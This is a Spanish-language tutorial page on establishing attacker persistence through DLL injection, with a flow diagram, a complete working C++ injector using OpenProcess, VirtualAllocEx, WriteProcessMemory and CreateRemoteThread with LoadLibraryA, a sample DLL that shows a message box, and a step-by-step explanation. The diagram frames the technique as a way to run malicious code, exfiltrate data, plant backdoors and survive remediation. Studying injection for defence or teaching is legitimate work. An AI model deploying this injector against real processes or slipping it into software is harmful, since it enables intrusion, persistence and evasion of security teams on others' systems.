.. / Establecer presencia via Inyección en DLLs #1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

Proceso de Inyección en DLL
--------------------------------------

1. Identificación del Proceso Objetivo
   ├── Seleccionar un proceso en ejecución
   │    con privilegios elevados o acceso
   │    a recursos necesarios.
   │
   └──┬──>
      │
2. Inyección de la DLL
   ├── Utilizar técnicas de inyección para
   │    cargar la DLL maliciosa en el
   │    proceso objetivo.
   │
   └──┬──>
      │
3. Ejecución del Código Malicioso
   ├── El código malicioso en la DLL se
   │    ejecuta, permitiendo al atacante
   │    realizar acciones como:
   │    - Exfiltración de datos
   │    - Creación de backdoors adicionales
   │    - Manipulación del sistema
   │
   └──┬──>
      │
4. Mantenimiento de la Persistencia
   └── Asegurar que la DLL permanezca cargada
        y operativa incluso después de reinicios
        o intentos de remediación por parte del
        equipo de seguridad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

// ejemplo.cpp
// Compilar este código en una DLL (ejemplo.dll)
// Omar Salazar
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"DLL Injected!", L"Success", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

// inyector.cpp
// Compilar este código en un exe (inyector.exe)
// Omar Salazar
#include <windows.h>
#include <iostream>
#include <tchar.h>

BOOL InjectDLL(DWORD dwPID, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    if (hProcess == NULL) {
        std::cerr << "Failed to open target process." << std::endl;
        return FALSE;
    }

    // Allocate memory in the target process for the DLL path
    LPVOID pRemotePath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (pRemotePath == NULL) {
        std::cerr << "Failed to allocate memory in target process." << std::endl;
        CloseHandle(hProcess);
        return FALSE;
    }

    // Write the DLL path to the allocated memory
    if (!WriteProcessMemory(hProcess, pRemotePath, dllPath, strlen(dllPath) + 1, NULL)) {
        std::cerr << "Failed to write to target process memory." << std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Get the address of LoadLibraryA in kernel32.dll
    LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
    if (pLoadLibraryA == NULL) {
        std::cerr << "Failed to get address of LoadLibraryA." << std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Create a remote thread in the target process that calls LoadLibraryA
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryA, pRemotePath, 0, NULL);
    if (hThread == NULL) {
        std::cerr << "Failed to create remote thread in target process." << std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Wait for the remote thread to finish
    WaitForSingleObject(hThread, INFINITE);

    // Clean up
    VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}

int main() {
    DWORD pid;
    char dllPath[MAX_PATH];

    std::cout << "Enter the PID of the target process: ";
    std::cin >> pid;

    std::cout << "Enter the full path of the DLL to inject: ";
    std::cin >> dllPath;

    if (InjectDLL(pid, dllPath)) {
        std::cout << "DLL injection succeeded." << std::endl;
    } else {
        std::cout << "DLL injection failed." << std::endl;
    }

    return 0;
}

1
2

Enter the PID of the target process: 1234
Enter the full path of the DLL to inject: C:\path\to\ejemplo.dll

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

 +---------------------------------------------------------+
 | Apertura del Proceso Objetivo                           |
 |---------------------------------------------------------|
 | El inyector abre el proceso objetivo utilizando         |
 | la función OpenProcess. Si tiene éxito, obtiene         |
 | un handle al proceso.                                   |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Asignación de Memoria en el Proceso Objetivo            |
 |---------------------------------------------------------|
 | El inyector asigna memoria en el espacio de             |
 | direcciones del proceso objetivo utilizando             |
 | VirtualAllocEx. Esta memoria será utilizada             |
 | para almacenar la ruta de la DLL que se va a inyectar.  |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Escritura de la Ruta de la DLL en la Memoria Asignada   |
 |---------------------------------------------------------|
 | El inyector escribe la ruta completa de la DLL en       |
 | la memoria asignada del proceso objetivo utilizando     |
 | WriteProcessMemory.                                     |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Obtención de la Dirección de LoadLibraryA               |
 |---------------------------------------------------------|
 | El inyector obtiene la dirección de la función          |
 | LoadLibraryA en kernel32.dll. Esta función se           |
 | utilizará para cargar la DLL en el proceso objetivo.    |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Creación de un Hilo Remoto                              |
 |---------------------------------------------------------|
 | El inyector crea un hilo remoto en el proceso           |
 | objetivo utilizando CreateRemoteThread. Este hilo       |
 | ejecuta la función LoadLibraryA con la ruta de          |
 | la DLL como argumento.                                  |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Carga de la DLL                                         |
 |---------------------------------------------------------|
 | La función LoadLibraryA en el hilo remoto carga         |
 | la DLL en el espacio de direcciones del proceso         |
 | objetivo. Esto ejecuta el código de la función          |
 | DllMain de la DLL.                                      |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Mensaje de Éxito                                        |
 |---------------------------------------------------------|
 | Si la DLL se ha cargado correctamente y se ha ejecutado |
 | su DllMain, el código de la DLL puede realizar acciones |
 | adicionales, como mostrar un mensaje. En el ejemplo     |
 | proporcionado, la DLL muestra un mensaje con MessageBox |
 | cuando se inyecta.                                      |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Limpieza                                                |
 |---------------------------------------------------------|
 | El inyector espera a que el hilo remoto termine y luego |
 | libera la memoria asignada en el proceso objetivo.      |
 | Finalmente, cierra los handles abiertos.                |
 +---------------------------------------------------------+